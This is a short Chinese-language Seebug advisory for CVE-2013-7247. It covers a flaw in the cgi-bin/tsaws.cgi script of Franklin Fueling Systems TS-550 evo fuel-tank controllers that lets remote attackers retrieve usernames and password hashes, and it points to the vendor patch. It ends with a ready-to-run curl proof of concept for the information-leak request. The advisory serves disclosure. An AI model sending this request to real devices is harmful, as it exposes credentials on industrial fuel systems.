Franklin Fueling Systems TS-550 evo‘cgi-bin/tsaws.cgi’安全绕过漏洞

2014-02-07T00:00:00
ID SSV:61385
Type seebug
Reporter Root
Modified 2014-02-07T00:00:00

Description

Bugtraq ID:64996 CVE ID: CVE-2013-7247

Franklin Fueling Systems TS-550 evo是美国富兰克林油系统(Franklin Fueling Systems)公司的一套燃油管理系统,它可通过储罐监控系统全面控制燃油管理,并提供彩色通知和详细标识说明的警报页面功能,迅速获得警报内容。

使用2.0.0.6833和2.3.1.7492版本固件的Franklin Fueling Systems TS-550 evo中的cgi-bin/tsaws.cgi脚本存在安全漏洞。远程攻击者可借助cmdWebGetConfiguration参数利用该泄露敏感信息(用户名和密码哈希值)。 0 Franklin Fueling Systems TS-550 evo device Firmware 2.0.0.6833和2.3.1.7492 厂商补丁:

Franklin Fueling Systems

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.franklinfueling.com/evo/

                                        
                                            
                                                curl -H "Content-Type:text/xml" --data '<TSA_REQUEST_LIST><TSA_REQUEST COMMAND="cmdWebGetConfiguration"/></TSA_REQUEST_LIST>' http://www.example.com:10001/cgi-bin/tsaws.cgi